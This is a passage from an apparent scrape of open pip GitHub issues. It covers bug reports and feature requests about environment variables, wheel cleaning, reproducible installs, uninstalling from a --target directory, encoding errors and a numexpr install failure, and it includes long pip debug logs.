Double requirement given: gitignoreio==0.1.4 (from -r indirect.3.txt (line 1)) (already in gitignoreio==0.1.3 (from -r indirect.2.txt (line 1)), name='gitignoreio')



altendky@lt:~/canmatrix$ rm -rf x; virtualenv -p python3.7 x; x/bin/pip install --upgrade pip; x/bin/pip install -r indirect.txt; echo; echo; echo; x/bin/pip freeze
Running virtualenv with interpreter /home/altendky/.pyenv/shims/python3.7
Using base prefix '/home/altendky/.pyenv/versions/3.7.0'
/home/altendky/.local/lib/python3.5/site-packages/virtualenv.py:1039: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
  import imp
New python executable in /home/altendky/canmatrix/x/bin/python3.7
Also creating executable in /home/altendky/canmatrix/x/bin/python
Installing setuptools, pip, wheel...done.
Requirement already up-to-date: pip in ./x/lib/python3.7/site-packages (18.0)
Double requirement given: gitignoreio==0.1.4 (from -r indirect.3.txt (line 1)) (already in gitignoreio==0.1.3 (from -r indirect.2.txt (line 1)), name='gitignoreio')



altendky@lt:~/canmatrix$
```
</details>

user: altendky
labels: type: enhancement: Improvements to functionality
state: needs discussion: This needs some more discussion
issue_5735: state: open
title: PIP_NO_CACHE_DIR and PIP_NO_BUILD_ISOLATION behave opposite to how they read
body: The `*_NO_*` environment variables are confusing and counterintuitive. It seems all of them are **enabled** by setting them to `off`, `false`, or `0`. However to **disable** them one must set them to `on`, `true`, or `1`. It seems like I'm in good company as this behavior has confused a good number of other people as well.

ref: https://github.com/pypa/pip/issues/2897
ref: https://github.com/pypa/pip/issues/5385
user: jakirkham
labels: type: enhancement: Improvements to functionality
C: cli: Command line interface related things (optparse, option grouping etc)
UX: User experience related
issue_5661: state: open
title: pip wheel --no-clean does not prevent clean
body: **Environment**

* pip version: 10.0.1
* Python version: 3.6
* OS: Linux

<!-- Feel free to add more information about your environment here -->

**Description**
WheelBuilder in https://github.com/pypa/pip/blob/master/src/pip/_internal/wheel.py takes a `no_clean` argument, but doesn't do anything with it. As a result, `setup.py clean` is unconditionally executed whether the build is successful or not. 

I just had a 20 minute build process fail at the last step, after which pip deleted the entire build directory,  making it impossible to investigate the problem. You might want to consider whether this is a good default behaviour. But in any case, `--no-clean` should actually prevent the clean.

https://github.com/pypa/pip/issues/2779 is related, but involves a different area.
user: mhsmith
labels: type: bug: A confirmed bug or unintended behavior
C: wheel: The wheel format and 'pip wheel' command
issue_5648: state: open
title: Reproducible installs
body: **What's the problem this feature will solve?**

Reproducible installations. Currently when running `pip install` all relevant Python packages are installed into their respective and Python bytecode file are generated appropriately. Unfortunately these files are not reproducible (their contain the timestamps of the files they were generated for) and will therefor cause filesystem images they were created for to be non-reproducible as well.

**Describe the solution you'd like**
With Python 3.7 and [PEP-552](https://www.python.org/dev/peps/pep-0552/) a new and clean solution for this problem is now finally visible on the horizion.
Basically the call to [`py_compile.compile`](https://github.com/pypa/pip/blob/a9d56c7734fd465d01437d61f632749a293e7805/src/pip/_vendor/distlib/util.py#L595) in PIP should be enhanced like this:
```
py_compile.compile(…, invalidation_mode=py_compile.PycInvalidationMode.UNCHECKED_HASH)
```

Since I'm guessing that PIP devs don't want to do this for all installations – there is no good reason IMHO, just assuming – another command-line flag will be required that allows one to the installation as reproducible as possible by enabling this flag.
(For full reproducibility installed shared libraries would require their timestamps to be zeroed as well, but I don't see how PIP can be any help in this currently.)

If the PIP team is willing to enable this by default, then it should only be enabled for non-editable system installs. Otherwise people will be surprised that their Python source changes are ignored by the interpreter.

My main (personal) use-case currently is [`docker-image-rebuilder`](https://gitlab.com/ntninja/docker-image-rebuilder): It runs a full `docker build` procedure then hashes the resulting filesystem and publishes the new version if there were any changes. PEP-552 also mentions build systems like [Bazel](https://bazel.build/) and just about any Linux-distro as its use-cases. Most of these likely don't use PIP for gathering packages through.

**Alternative Solutions**
Since there are other non-reproducible files generated as well, I resort to filepath filtering rules for skipping this problem like `"**/__pycache__/*.pyc"` right now.

**Additional context**
[Reproducible Builds](https://reproducible-builds.org/) (and, by extension, installs as well) are the future! :slightly_smiling_face: 

user: ntninja
labels: type: feature request: Request for a new feature
issue_5595: state: open
title: Provide a --target option on uninstall (to undo install with --target)
body: **What's the problem this feature will solve?**
Currently, there is no clear way to uninstall a package that has been installed to a directory outside sys.prefix using `pip install --target`. Attempting to do so via modifying sys.path results in "Not uninstalling X at Y, outside environment Z"

**Describe the solution you'd like**
Mirror the functionality of `pip install --target` to `pip uninstall --target`

<!-- Provide examples of real world use cases that this would enable and how it solves the problem described above. -->
This would enable installing/uninstalling packages to sandboxed directories (similarto a venv, but without the extra baggage), as --target seems to be intended.

**Alternative Solutions**
While a venv could provide an alternative solution, it is still an issue that there is no 'undo' for the situation where `--target` is used.

user: ronpandolfi
labels: C: target: pip install's --target option's behaviour handling
state: needs discussion: This needs some more discussion
type: feature request: Request for a new feature
issue_5584: state: open
title: UnicodeDecodeError: 'utf-8' codec can't decode byte 0xf3 in position 1970: invalid continuation byte
body: **Environment**

* pip version: 10.0.1
* Python version: 3.7
* OS: Windows 10

<!-- Feel free to add more information about your environment here -->

**Description**
<!-- A clear and concise description of what the bug is. -->
UnicodeDecodeError: 'utf-8' codec can't decode byte 0xf3 in position 1970: invalid continuation byte

**Expected behavior**
<!-- A clear and concise description of what you expected to happen. -->
Uninstall a local package seamlessly
**How to Reproduce**
<!-- Describe the steps to reproduce this bug. -->

1. Get package from '...' vrt is a local installed package
2. Then run 'pip uninstall vrt
3. An error occurs.

**Output**

```
Exception:
Traceback (most recent call last):
  File "c:\users\vicen\appdata\local\programs\python\python37\lib\site-packages\pip\_internal\basecommand.py", line 228, in main
    status = self.run(options, args)
  File "c:\users\vicen\appdata\local\programs\python\python37\lib\site-packages\pip\_internal\commands\uninstall.py", line 68, in run
    auto_confirm=options.yes, verbose=self.verbosity > 0,
  File "c:\users\vicen\appdata\local\programs\python\python37\lib\site-packages\pip\_internal\req\req_install.py", line 660, in uninstall
    uninstalled_pathset = UninstallPathSet.from_dist(dist)
  File "c:\users\vicen\appdata\local\programs\python\python37\lib\site-packages\pip\_internal\req\req_uninstall.py", line 355, in from_dist
    for path in uninstallation_paths(dist):
  File "c:\users\vicen\appdata\local\programs\python\python37\lib\site-packages\pip\_internal\req\req_uninstall.py", line 50, in unique
    for item in fn(*args, **kw):
  File "c:\users\vicen\appdata\local\programs\python\python37\lib\site-packages\pip\_internal\req\req_uninstall.py", line 67, in uninstallation_paths
    r = csv.reader(FakeFile(dist.get_metadata_lines('RECORD')))
  File "c:\users\vicen\appdata\local\programs\python\python37\lib\site-packages\pip\_vendor\pkg_resources\__init__.py", line 1408, in get_metadata_lines
    return yield_lines(self.get_metadata(name))
  File "c:\users\vicen\appdata\local\programs\python\python37\lib\site-packages\pip\_vendor\pkg_resources\__init__.py", line 1405, in get_metadata
    return value.decode('utf-8') if six.PY3 else value
UnicodeDecodeError: 'utf-8' codec can't decode byte 0xf3 in position 1970: invalid continuation byte
```

user: Vicentelles
labels: type: bug: A confirmed bug or unintended behavior
C: encoding: Related to text encoding and likely, UnicodeErrors
state: awaiting PR: Feature discussed, PR is needed
issue_5537: state: open
title: Adopting use of flake8 plugins
body: In general, there's some flake8 plugins that might be useful to us. In case of some of these plugins, it means adopting a newer code style so we should probably start with that discussion. 

- `flake8-commas` [PyPI](https://pypi.org/project/flake8-commas): enforce commas after the last item of multiline literals/function calls.
- `flake8-mutable` [PyPI](https://pypi.org/project/flake8-mutable): enforce not using mutable values as defaults
  - TODO: check if flake8 does this check by default
- `flake8-logging-format` [PyPI](https://pypi.org/project/flake8-logging-format): check that strings aren't formatted while passing to logging (should depend on logging doing the interpolation)
- `flake8-pep3101` [PyPI](https://pypi.org/project/flake8-pep3101/): enforces the use of `.format` instead of `%` in the codebase
- `flake8-gramex` [PyPI](https://pypi.org/project/flake8-gramex/): checks for magic numbers and required `encoding` for calls to file opening functions + 2/3 more (but we'll ignore those)
  - It's documentation is lacking

I think some of these might be good additions. The only thing is that adopting them would mean going through the entire codebase to make things consistent according to them wherever there's a violation (which is kind of the point of doing this).

Thoughts @pypa/pip-committers?
user: pradyunsg
labels: type: maintenance: Related to Development and Maintenance Processes
help wanted: For requesting inputs from other members of the community
issue_5536: state: open
title: pip 10.0.1 & Python 3.7: Failed installing numexpr 2.6.5 (EnvironmentError) due to duplicate LF
body: **Environment**

* pip version: 10.0.1
* Python version: 3.7.0b5
* OS: Windows 10

My PATH variable was set correctly and numpy + mkl 1.14.5 was installed correctly too. In pandas I used the HDF5 storage to save data to disk. This requires tables, which requires numexpr. I'm using the newest version of Visual Studio (2017), I don't know if that's a requirement, but it's there. You'd understand my frustration seeing as I had numexpr installed (and everything seemed to run fine), yet the issue only showed up once I imported and used tables in my script (on ne_compiler.py). I removed and reinstalled every other library thinking the issue was there.

**Description**

The issue occurs when [installing numexpr using pip](https://github.com/pydata/numexpr/issues/305) (pip install numexpr). The version that's downloaded seems to suffer from the [infamous notepad bug](https://stackoverflow.com/questions/6998506/text-file-with-0d-0d-0a-line-breaks) where each line-break contains a duplicate LF instead of the default of one. This is visible in a hex editor where 0D0D0A shows on the source file downloaded through pip. The issue does not appear in any [binary installs](https://www.lfd.uci.edu/%7Egohlke/pythonlibs/), Python 3.6, when manually checking out via Github or when manually downloading from the [pythonhosted.org link](https://files.pythonhosted.org/packages/5e/04/9780a640cf173e36db72f8500e084990c67fff5576c6d72b228d19c02c23/numexpr-2.6.5.tar.gz). It also presumably does not appear in Linux, though I couldn't confirm that.

**Expected behavior**

```
C:\Users\user>pip install numexpr --no-cache-dir
Collecting numexpr
  Using https://files.pythonhosted.org/packages/5e/04/9780a640cf173e36db72f8500e084990c67fff5576c6d72b228d19c02c23/numexpr-2.6.5.tar.gz
Requirement already satisfied: numpy>=1.7 in c:\program files\python37\lib\site-packages (from numexpr) (1.14.5+mkl)
Installing collected packages: numexpr
  Running setup.py install for numexpr
Successfully installed numexpr-2.6.5
```

**How to Reproduce**

1. Install numpy 1.14.5 with mkl support, install Visual Studio 2017 (not sure if required)
2. Might also require installing the packages tables 3.4.4, pandas 0.23.1 and six 1.11.0
3. Then run 'pip install numexpr --no-cache-dir --log log_file.txt'
4. EnvironmentError occurs and installation fails.

**Output**

The installation of version 2.6.5 of numexpr using pip 10.0.1 fails on Windows 10, 64 bit with Python version 3.7. The error I got was:

Could not install packages due to an EnvironmentError: [WinError 123] The filename, directory name, or volume label syntax is incorrect: '"c:'

I ran pip with the --log flag, which produced the following output:

<details>
<summary><strong>Output</strong></summary>

```
Config variable 'Py_DEBUG' is unset, Python ABI tag may be incorrect
Config variable 'WITH_PYMALLOC' is unset, Python ABI tag may be incorrect
Created temporary directory: C:\Users\user\AppData\Local\Temp\pip-ephem-wheel-cache-tfdswctl
Created temporary directory: C:\Users\user\AppData\Local\Temp\pip-install-armieiqf
Collecting numexpr
  1 location(s) to search for versions of numexpr:
  * https://pypi.org/simple/numexpr/
  Getting page https://pypi.org/simple/numexpr/
  Analyzing links from page https://pypi.org/simple/numexpr/
    Found link https://files.pythonhosted.org/packages/7c/f4/d9919d24127cc4d805390cb658d521378e8e27dee6257cd47b7266631ecd/numexpr-1.1.1.tar.gz#sha256=d4d2cb55bc088709620fe6bcdda93bd724dcf2a178b50fed87625b53c3b21e58 (from https://pypi.org/simple/numexpr/), version: 1.1.1
    Skipping link https://files.pythonhosted.org/packages/3a/77/522c315ad5c5823bd30a4c70d050b40556b22a24432707ba0b1ea1a233df/numexpr-1.1.1.win32-py2.4.exe#sha256=0309e50ed728c8acd18999320d11ffce44c53cfce1ccd7a866b51ee5c89e9508 (from https://pypi.org/simple/numexpr/); unsupported archive format: .exe
    Skipping link https://files.pythonhosted.org/packages/e5/ac/30f05a5aff5ef683cb608a5a4f37ca743ddc1cc2af70f5ffb8e0d52455d6/numexpr-1.1.1.win32-py2.5.exe#sha256=585189667cc5c0b6a3a569b97b9d5bd97ece67ffb73e44e36b24b971add99966 (from https://pypi.org/simple/numexpr/); unsupported archive format: .exe
    Found link https://files.pythonhosted.org/packages/5d/90/8916ce76319929f9288e9f7f74e9a3329f4bf45665bde53a33905e6992c7/numexpr-1.3.tar.gz#sha256=68fbe8c8fb65094a2a838bf5d9a18d7f52e239491930bd2e438864c815469b42 (from https://pypi.org/simple/numexpr/), version: 1.3
    Skipping link https://files.pythonhosted.org/packages/67/05/a009ee8ba1bd6f8f4b841cb3d7c21b5e4ee8c0498d0c793c458b037aac54/numexpr-1.3.win32-py2.4.exe#sha256=c06fe06c9ad2eba4cfd82d82afa3e17252ad1ecc8cef9609dfb937c6eb046fae (from https://pypi.org/simple/numexpr/); unsupported archive format: .exe
    Skipping link https://files.pythonhosted.org/packages/da/bf/0a87c6ed3c20d20621d9a9bb694d19cb83c0f25f0e0f967531981712781c/numexpr-1.3.win32-py2.5.exe#sha256=35dcc764d82f41e616d0e5bf04e4cc9aad562394dc6ab97b0528fc9a7eef5ab0 (from https://pypi.org/simple/numexpr/); unsupported archive format: .exe
    Skipping link https://files.pythonhosted.org/packages/42/d9/e2ae8409d002b0aa3ef61041fa110954ade4b4239ead7f01411973b83d43/numexpr-1.3.win32-py2.6.exe#sha256=322e9c0065e1103f29d8be9f7259efb0560f5f761ad2c5cae1305d5feb2ff5e5 (from https://pypi.org/simple/numexpr/); unsupported archive format: .exe
    Found link https://files.pythonhosted.org/packages/56/4e/19f79e02028e0772b6c84f03440aaf0219240a2cdc7bdc63cff14ad3907d/numexpr-1.3.1.tar.gz#sha256=52bae05999975b181a49903371bd22073669c210d2e34a26d6b87bf684c35263 (from https://pypi.org/simple/numexpr/), version: 1.3.1
    Skipping link https://files.pythonhosted.org/packages/3b/b4/d79d676b519c64a052a7ded58f614a87e7f4a2fceb141ed418692fff33e5/numexpr-1.3.1.win32-py2.4.exe#sha256=7ea3d3ef487c9956a1c4d2d7bd91c42d75882dbee35645735724be2968602efc (from https://pypi.org/simple/numexpr/); unsupported archive format: .exe
    Skipping link https://files.pythonhosted.org/packages/f9/14/b2a057e33384d6eb569e8c767a2d6ea7e4446637f923dfe00e151b7a3894/numexpr-1.3.1.win32-py2.5.exe#sha256=488729fbcebbea21bceab98aa90f53174fdd3820db56c3548748ac15951f6174 (from https://pypi.org/simple/numexpr/); unsupported archive format: .exe
    Skipping link https://files.pythonhosted.org/packages/1c/af/646bc08e8f7eceb28fe2fca4093664f02450fd108af4ca0705def61c39c1/numexpr-1.3.1.win32-py2.6.exe#sha256=e52d92758910cbc6cf8cf36add8edad7a8db6ebb4be2c259e029ceb414eaeed5 (from https://pypi.org/simple/numexpr/); unsupported archive format: .exe
    Found link https://files.pythonhosted.org/packages/f9/c3/8b4bc1b996efb8149a917c9b9ed295bd83913f64cca0f56949889697f057/numexpr-1.4.tar.gz#sha256=5ef302c10f069b7999a58ceccdae748eb697ec91c6b56239c671b2e9ba40fe2c (from https://pypi.org/simple/numexpr/), version: 1.4
    Skipping link https://files.pythonhosted.org/packages/70/81/cffc89866034fa5b7ee9d89292a526ba8262790e171f926508ec83544b71/numexpr-1.4.win-amd64-py2.6.exe#sha256=49c960528a22b52befb621ae88c13746561bc90f8314b659ed6429d1d6bb39bb (from https://pypi.org/simple/numexpr/); unsupported archive format: .exe
    Skipping link https://files.pythonhosted.org/packages/4c/34/bdacd5ab016576a163bf4a778e480a6d2a1398093eb2c97be03daec4f9be/numexpr-1.4.win32-py2.6.exe#sha256=23057832135e1e2a87f87a9c5ca6e2c3cd3cb6b51e5686958e72cbfc1d8601e2 (from https://pypi.org/simple/numexpr/); unsupported archive format: .exe
    Found link https://files.pythonhosted.org/packages/61/ef/cf680615fa46d948524617e9b1e29ee220ba2f73a5e76b9ff458fd8663f8/numexpr-1.4.1.tar.gz#sha256=27cef1ce2a5c98294a307cf89bf9a0534d56940a42516f5d4bb952715cae727b (from https://pypi.org/simple/numexpr/), version: 1.4.1
    Skipping link https://files.pythonhosted.org/packages/5e/5f/2451f779bad4a140be0c2611fcb8ee9f018294190f6cfc68d95a093893df/numexpr-1.4.1.win-amd64-py2.6.exe#sha256=c7f29f30fd666d4e8c370a0bbfbbca5ef7224770d32f19f343c60ba68d91cf7c (from https://pypi.org/simple/numexpr/); unsupported archive format: .exe
    Skipping link https://files.pythonhosted.org/packages/03/99/198100d99e2b9ec47f1c73b55887666a0568646b1fcfc5570194657190b1/numexpr-1.4.1.win-amd64-py2.7.exe#sha256=6a9e8ca48394c422e4582962f3507c15951cf265262585dc08a61d0b8e8a3af7 (from https://pypi.org/simple/numexpr/); unsupported archive format: .exe
    Skipping link https://files.pythonhosted.org/packages/0f/b6/5ccf00ea4699c987578d10b3c98ed5b7e5adaa69071eee885494d6e583c7/numexpr-1.4.1.win32-py2.6.exe#sha256=f17ddf4166b8a004f04c802bf7e1f791e6d5011a803b532fdb0cb70668feb8c7 (from https://pypi.org/simple/numexpr/); unsupported archive format: .exe
    Skipping link https://files.pythonhosted.org/packages/73/b6/4d365593c7261d2d4ff02e9c4a8d04cd3f08db766f4daac0c15d59fe69ef/numexpr-1.4.1.win32-py2.7.exe#sha256=256bc8cd4e47833efce15a06da372b4b056c739104e33df4ea35d27cf23b1fcf (from https://pypi.org/simple/numexpr/); unsupported archive format: .exe
    Found link https://files.pythonhosted.org/packages/b3/96/752e551671487350809a0eebb24d4b96fae17a2dcd569221bc71f77de9bb/numexpr-1.4.2.tar.gz#sha256=38f73f0402bca52566186dbeca586989617c02f8f23a31085cf27eb5fd654967 (from https://pypi.org/simple/numexpr/), version: 1.4.2
    Skipping link https://files.pythonhosted.org/packages/dc/3b/b4eccb2dde9bad68f14de541da286c6d1d4d3fe6bf200af0a3320b9d2343/numexpr-1.4.2.win-amd64-py2.6.exe#sha256=cc118fa9b3ba2d55d9044e207bdab593643f806f5de363f67530d2a2e82ef8e9 (from https://pypi.org/simple/numexpr/); unsupported archive format: .exe
    Skipping link https://files.pythonhosted.org/packages/20/2d/05f3245d4ef6d1d16510381db48e60e5de01ee9740053f31d0ee7996011c/numexpr-1.4.2.win-amd64-py2.7.exe#sha256=26fb818f83e926d2c39823b84ed52f752723ea8c9c3f81dd2b50953135453468 (from https://pypi.org/simple/numexpr/); unsupported archive format: .exe
    Skipping link https://files.pythonhosted.org/packages/ca/a9/4bdc518081f4e17d1d41efb0e456ca27cf49969a175ab026b1543a764231/numexpr-1.4.2.win32-py2.6.exe#sha256=b1fcf03ff85309421d482d7ef6dadb0db9a25b629a2ec1698ec878df6f261d79 (from https://pypi.org/simple/numexpr/); unsupported archive format: .exe
    Skipping link https://files.pythonhosted.org/packages/fe/ab/0730f715c51d7bc03c50dbb1007eab58d305d0812302c63966435b2b376d/numexpr-1.4.2.win32-py2.7.exe#sha256=2728e19fdaf3bcecbc16d3780f087cd9122a8fed1144dc388873744864358368 (from https://pypi.org/simple/numexpr/); unsupported archive format: .exe
    Found link https://files.pythonhosted.org/packages/14/b4/24183cc49a74b3197b47042f363cc12535cabdf2669c1c2420efcb116c71/numexpr-2.0.1.tar.gz#sha256=29492a08d5137c9a3a369527a899680ef7c1908cd4851ad2827b6c1d3767b092 (from https://pypi.org/simple/numexpr/), version: 2.0.1
    Found link https://files.pythonhosted.org/packages/b6/06/8b93c1bfced7e560e1167b07b3f4628f6544ec023a3e8d4bd964cd0e62e1/numexpr-2.1.tar.gz#sha256=39f2fed7f1b8125c0f2df3af454c97e5dfa636ce487ad7921025815e24c17df8 (from https://pypi.org/simple/numexpr/), version: 2.1
    Found link https://files.pythonhosted.org/packages/8d/40/c371492ea99f9d8f7cb855258261aa641cdd4bf939cf8bd16ec1dcb3acee/numexpr-2.2.1.tar.gz#sha256=7f263f3aa70d5b873d23df23c05764a246321381155514041e8b9481b2eabd4a (from https://pypi.org/simple/numexpr/), version: 2.2.1
    Found link https://files.pythonhosted.org/packages/68/a3/3ad7062a14c56f169e0e43c3934bd96f2dab4c4238c2a07593dc253a1799/numexpr-2.2.2.tar.gz#sha256=47d3435785f59a72dc06a1c0257b83f0f656d4974e804c30a6ef8c0de293d9ee (from https://pypi.org/simple/numexpr/), version: 2.2.2
    Found link https://files.pythonhosted.org/packages/9b/01/ecdeb71008d42b57d35caf0743c07218cbf9b0305cc531028c99a44c64cd/numexpr-2.3-rc1.tar.gz#sha256=6b3b091aeb28c095148ac3a0b2514bc843ad3c2b4441e4f2b906a0d613598fe1 (from https://pypi.org/simple/numexpr/), version: 2.3-rc1
    Found link https://files.pythonhosted.org/packages/50/b7/07579bd35ee320ca0b153482a49453033e049d7b407fd24d9126f02adf9e/numexpr-2.3.tar.gz#sha256=72765c99d63e828d111e56e0a5848221006e9672d37732588c6ba1d8c5d05a8f (from https://pypi.org/simple/numexpr/), version: 2.3
    Found link https://files.pythonhosted.org/packages/7a/bd/523b45fb5b145a1ede66fd7d519275309f72b4cf083cd8da615e30a6ed24/numexpr-2.3.1.tar.gz#sha256=4dd39c835f061ae145d1a1df5ca6962a1d097caa8b39176ae395d077bcbac967 (from https://pypi.org/simple/numexpr/), version: 2.3.1
    Found link https://files.pythonhosted.org/packages/c5/f7/9f5e181cf189c58b6b001ce009ccbad8bab8c8735cc5a4050f42c133b70d/numexpr-2.4-rc1.tar.gz#sha256=1d91db98850dbe9cedd2e4502b3ee9676fd437e5878a00bbe0299b6e23e571e2 (from https://pypi.org/simple/numexpr/), version: 2.4-rc1
    Found link https://files.pythonhosted.org/packages/a9/5c/d5061aef73af71a0951b93803932a02f6d237fe65b86372ff19cb5589871/numexpr-2.4-rc2.tar.gz#sha256=d2225f622a893565adb9df7cd42c92966cc507cca64356f1b9775ce9eb5815f1 (from https://pypi.org/simple/numexpr/), version: 2.4-rc2
    Skipping link https://files.pythonhosted.org/packages/26/58/170b61025819c556d8a53b4c3c0a4ee4795556d0e839ad2aeaa8a6615a1d/numexpr-2.4-cp27-none-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#sha256=baf9a0d68f8418d217f1f4c5ee72e95e93b1f945713335eb49b83811bef93fc1 (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/64/fe/7e360206b9c904c59b2cb2f37ed9b6a921408f00badb9a9658db0817a2b8/numexpr-2.4-cp27-none-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.whl#sha256=0d7793f8a216e3af22942dac66b38023763e2c44e3f5ff091efdb86adf6aeaa6 (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/12/4b/c92f3f6b52f8b6ab441493652269ebbb163264b1a9a6958e33bef3a8aae5/numexpr-2.4-cp33-cp33m-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#sha256=e199982baf6ba8000ce19b2345678196ba4dfac69341dce774c920c2c79b889f (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/3b/a9/976ced1fbf03dcf48f1583d6d2ce6752b3563aef199cea29a10e893bdb96/numexpr-2.4-cp33-cp33m-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.whl#sha256=c0039a7b5892e99267ab4a8d06c90d115931a8e7e6399c22255382af4f4efddf (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/ec/ed/f5305061e8e677433c207534c3c564d8bde6fcd11566e70cf3eda4658f51/numexpr-2.4-cp34-cp34m-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#sha256=13c0aa737291e4675f793b066207e98d6a24d774d89e7b45d70e6ad8a21052b7 (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/99/1a/6c48c6234f74389f71c732e21b89508a2022e9c43b84c21bcdcb302e692f/numexpr-2.4-cp34-cp34m-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.whl#sha256=54af15dbd1638cb452854081789879d53feaf8ce2a08d30b4d4833c8a3e7dfbf (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Found link https://files.pythonhosted.org/packages/52/2b/2a0ae329ea41782d55c5165c662117cc22a1dce569d7796627d039f6888e/numexpr-2.4.tar.gz#sha256=1b63a5ce11c10d36433e2a74e2e4c360a4e004618507778881659e80a912fc58 (from https://pypi.org/simple/numexpr/), version: 2.4
    Skipping link https://files.pythonhosted.org/packages/44/f1/9833d22659ea3ee7168011b33dfd7a6d33c5623a456c8d9828e4908706ac/numexpr-2.4.1-cp27-none-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#sha256=109f2604fa88b2e9404c3e174e1ede3a8b0fb8420e05164c5c5963f640abd6ec (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/d3/95/fcf2e5dcbf93f4cecc386df5469173a850667a2ad50d254f975eb36416db/numexpr-2.4.1-cp33-cp33m-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#sha256=29defce028a53cde881fdafdd2fbdb85a635d00e958a0d28578e61f5d97846f8 (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/e0/73/f1428ba5dddef31f387154e514386e46a135a67dc5a3be37b1aab3c1c584/numexpr-2.4.1-cp34-cp34m-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#sha256=734f6b180e59506b35f000624a8a6cbe72dd6fa30158134be30ee69ddd6b8b88 (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Found link https://files.pythonhosted.org/packages/38/af/ba484d2f46bb2f409fe99ce6768943ef4c753fac28c618fef25ed07eb549/numexpr-2.4.1.tar.gz#sha256=5b53a9e9e50f33e2e562b4ae9f88066c9e54a3bd7c144d29d0067b87856815b4 (from https://pypi.org/simple/numexpr/), version: 2.4.1
    Found link https://files.pythonhosted.org/packages/1a/f6/4d52d16ba169066984fea463c8b5c8b46e39e3b3090f02e7b6c414dcb39d/numexpr-2.4.2.tar.gz#sha256=a5937173b9ef00af31e5d9e6f62c15d74f0074c6212627cbed8b6cb6e958c92d (from https://pypi.org/simple/numexpr/), version: 2.4.2
    Skipping link https://files.pythonhosted.org/packages/cc/92/c2a13a8f94e12db4247af069f11004954ce67a06e5fda0fc87d70119771b/numexpr-2.4.3-cp27-none-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#sha256=aae190daf78aed70c5f3934c4f30d000aaf6aba4d00865680ffbdac6e9673699 (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/39/2e/f07dda2076ddceecaab05cf5af0817e9a7c70bbaf6725f12fe7d896fa980/numexpr-2.4.3-cp33-cp33m-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#sha256=280b5f749dd3dfcd40250ced7ada3c50c41c63e4aec7ec4bce145353f8f93c5f (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/98/ca/83fbfa2dcdd707c297b671c1f9075e334190d14dcbd09a2a614ef4103d91/numexpr-2.4.3-cp34-cp34m-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#sha256=d1217d882ee7b127dad5c1f5be90e0cc97e598ad10a087e70b42f81db77c2e13 (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Found link https://files.pythonhosted.org/packages/21/0c/8b1975367a723ed94404cbd7f21a1d1a6a87ba7fb323fb9074fa2987e804/numexpr-2.4.3.tar.gz#sha256=3ae7191c89df40db6b0a8637a4dace7c5956bc910793a53225f985f3b443c722 (from https://pypi.org/simple/numexpr/), version: 2.4.3
    Skipping link https://files.pythonhosted.org/packages/67/47/ba49eb919b9e22166c9e6c31d1564ab3c35af59d0fc149625d763ec81057/numexpr-2.4.4-cp27-none-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#sha256=111fb6a403d3b00f0bc8bbb45b62f3454c3d750fc67ac599d8cb2f20361f8731 (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/bd/98/3b88632a75506b5074422cfcb4ab03da72b5bcef717e9eedda3c51dcf598/numexpr-2.4.4-cp33-cp33m-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#sha256=506e488462be9b03dba1fde1976fc10205452fb458dd3bdae98b68695b5ee501 (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/cf/9f/c6584bd31bcda1e028dbaf18bebbd924e219c4738cd6ed88791f35823847/numexpr-2.4.4-cp34-cp34m-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#sha256=28be350bea97eb75e5e88888f5d10faaebf4f33e5ae8795bca9b0df820ed955c (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
